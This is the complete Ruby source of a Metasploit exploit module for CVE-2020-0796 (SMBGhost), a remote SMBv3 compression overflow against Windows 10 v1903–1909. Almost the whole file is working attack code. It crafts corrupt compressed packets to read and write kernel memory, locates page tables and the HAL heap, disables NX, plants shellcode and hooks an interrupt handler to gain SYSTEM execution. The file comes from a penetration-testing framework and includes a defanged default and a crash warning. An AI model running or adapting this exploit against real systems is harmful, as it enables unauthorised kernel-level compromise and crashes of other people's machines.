metasploit-framework/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb

445 lines
17 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
LZNT1 = RubySMB::Compression::LZNT1
# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
KSD_VA_MAP = 0x800
KSD_VA_PMDL = 0x900
KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup
MAX_READ_RETRIES = 5
WRITE_UNIT = 0xd0
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMBv3 Compression Buffer Overflow',
'Description' => %q{
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
can take a few minutes as the necessary data is gathered.
},
'Author' => [
'hugeh0ge', # Ricerca Security research, detailed technique description
'chompie1337', # PoC on which this module is based
'Spencer McIntyre', # msf module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2020-0796' ],
[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'WfsDelay' => 10
},
'Privileged' => true,
'Payload' => {
'Space' => 600,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' => [
[
'Windows 10 v1903-1909 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'OverflowSize' => 0x1100,
'LowStubFingerprint' => 0x1000600e9,
'KuserSharedData' => 0xfffff78000000000,
# Offset(From,To) => Bytes
'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
'Offset(LowStub,SelfVA)' => 0x78,
'Offset(LowStub,PML4)' => 0xa0,
'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
}
]
],
'DisclosureDate' => '2020-03-13',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ],
'SideEffects' => []
}
)
)
register_options([Opt::RPORT(445),])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
])
end
def check
begin
client = RubySMB::Client.new(
RubySMB::Dispatcher::Socket.new(connect(false)),
username: '',
password: '',
smb1: false,
smb2: false,
smb3: true
)
protocol = client.negotiate
client.disconnect!
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
return CheckCode::Unknown
rescue Errno::ECONNRESET
return CheckCode::Unknown
rescue ::Exception => e # rubocop:disable Lint/RescueException
vprint_error("#{rhost}: #{e.class} #{e}")
return CheckCode::Unknown
end
return CheckCode::Safe unless protocol == 'SMB3'
return CheckCode::Safe unless client.dialect == '0x0311'
lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
CheckCode::Detected
end
def smb_negotiate
# need a custom negotiate function because the responses will be corrupt while reading memory
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
packet = RubySMB::SMB2::Packet::NegotiateRequest.new
packet.client_guid = SecureRandom.random_bytes(16)
packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })
packet.capabilities.large_mtu = 1
packet.capabilities.encryption = 1
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
)
nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
nc.data.salt = "\x00" * 32
packet.add_negotiate_context(nc)
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
)
nc.data.flags = 1
nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
packet.add_negotiate_context(nc)
dispatcher.send_packet(packet)
dispatcher
end
def write_primitive(data, addr)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
uncompressed_data << [ addr ].pack('Q<')
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffffff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: data.length,
compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def write_srvnet_buffer_hdr(data, offset)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffefff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: dummy_data.length,
compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def read_primitive(phys_addr)
value = @memory_cache[phys_addr]
return value unless value.nil?
vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
fake_mdl = MDL.new(
mdl_size: 0x48,
mdl_flags: 0x5018,
mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
byte_count: 600,
byte_offset: ((phys_addr & 0xfff) + 0x4)
)
phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12
(MAX_READ_RETRIES * 2).times do |try|
write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])
MAX_READ_RETRIES.times do |_|
dispatcher = smb_negotiate
blob = dispatcher.tcp_socket.get_once
dispatcher.tcp_socket.close
next '' if blob.nil?
next if blob[4..7] == "\xfeSMB".b
@memory_cache[phys_addr] = blob
return blob
end
sleep try**2
end
fail_with(Failure::Unknown, 'Failed to read physical memory')
end
def find_low_stub
common = [0x13000].to_enum # try the most common value first
all = (0x1000..0x100000).step(0x1000)
(common + all).each do |index|
buff = read_primitive(index)
entry = buff.unpack('Q<').first
next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)
lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))
phal_heap = lowstub_va & 0xffffffffffff0000
print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
return { pml4: pml4, phal_heap: phal_heap }
end
fail_with(Failure::Unknown, 'Failed to find the low stub')
end
def find_pml4_selfref(pointers)
search_len = 0x1000
index = pointers[:pml4]
while search_len > 0
buff = read_primitive(index)
buff = buff[0...-(buff.length % 8)]
buff.unpack('Q<*').each_with_index do |entry, i|
entry &= 0xfffff000
next unless entry == pointers[:pml4]
selfref = ((index + (i * 8)) & 0xfff) >> 3
pointers[:pml4_selfref] = selfref
print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
return pointers
end
search_len -= [buff.length, 8].max
index += [buff.length, 8].max
end
fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
end
def get_phys_addr(pointers, va_addr)
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
pml4e = pointers[:pml4] + pml4_index * 8
pdpt_buff = read_primitive(pml4e)
pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
pdpte = pdpt + pdpt_index * 8
pdt_buff = read_primitive(pdpte)
pdt = pdt_buff.unpack('Q<').first & 0xfffff000
pdte = pdt + pdt_index * 8
pt_buff = read_primitive(pdte)
pt = pt_buff.unpack('Q<').first
unless pt & (1 << 7) == 0
return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
end
pt &= 0xfffff000
pte = pt + pt_index * 8
pte_buff = read_primitive(pte)
(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
end
def disable_nx(pointers, addr)
lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
pte_va = ((addr >> 9) | lb) & ub
phys_addr = get_phys_addr(pointers, pte_va)
orig_val = read_primitive(phys_addr).unpack1('Q<')
overwrite_val = orig_val & ((1 << 63) - 1)
write_primitive([ overwrite_val ].pack('Q<'), pte_va)
{ pte_va: pte_va, original: orig_val }
end
def search_hal_heap(pointers)
va_cursor = pointers[:phal_heap]
end_va = va_cursor + 0x20000
while va_cursor < end_va
phys_addr = get_phys_addr(pointers, va_cursor)
buff = read_primitive(phys_addr)
buff = buff[0...-(buff.length % 8)]
values = buff.unpack('Q<*')
window_size = 8 # using a sliding window to fingerprint the memory
0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
va = va_cursor + (i * 8)
window = values[i...(i + window_size)]
next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
next unless window[3].between?(0x20, 0x40)
next unless (window[0] - window[2]).between?(0x80, 0x180)
phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12
# looks legit (TM), lets hope for the best
# use WinDBG to validate the hal!HalpInterruptController value manually
# 0: kd> dq poi(hal!HalpInterruptController) L1
pointers[:pHalpInterruptController] = va
print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")
# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
pointers[:pHalpApicRequestInterrupt] = phalp_ari
print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
return pointers
end
va_cursor += buff.length
end
fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
end
def build_shellcode(pointers)
source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb')
edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
user_shellcode = payload.encoded
edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
edata.data + user_shellcode
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute this module? There is a high probability that even when the exploit is
successful the remote target will crash within about 90 minutes.
Disable the DefangedMode option to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
@memory_cache = {}
@shellcode_length = 0
pointers = find_low_stub
pointers = find_pml4_selfref(pointers)
pointers = search_hal_heap(pointers)
@nx_info = disable_nx(pointers, target['KuserSharedData'])
print_status('KUSER_SHARED_DATA PTE NX bit cleared!')
shellcode = build_shellcode(pointers)
vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
@shellcode_length = shellcode.length
write_bytes = 0
while write_bytes < @shellcode_length
write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
write_bytes += write_sz
end
vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
end
def cleanup
return unless @memory_cache&.present?
if @nx_info&.present?
print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
end
# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
(start_va..end_va).step(WRITE_UNIT).each do |cursor|
write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
end
end
module CorruptLZNT1
def self.compress(buf, chunk_size: 0x1000)
out = ''
until buf.empty?
chunk = buf[0...chunk_size]
compressed = LZNT1.compress_chunk(chunk)
# always use the compressed chunk, even if it's larger
out << [ 0xb000 | (compressed.length - 1) ].pack('v')
out << compressed
buf = buf[chunk_size..]
break if buf.nil?
end
out << [ 0x1337 ].pack('v')
out
end
end
class MDL < BinData::Record
# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
endian :little
uint64 :next_mdl
uint16 :mdl_size
uint16 :mdl_flags
uint16 :allocation_processor_number
uint16 :reserved
uint64 :process
uint64 :mapped_system_va
uint64 :start_va
uint32 :byte_count
uint32 :byte_offset
end
end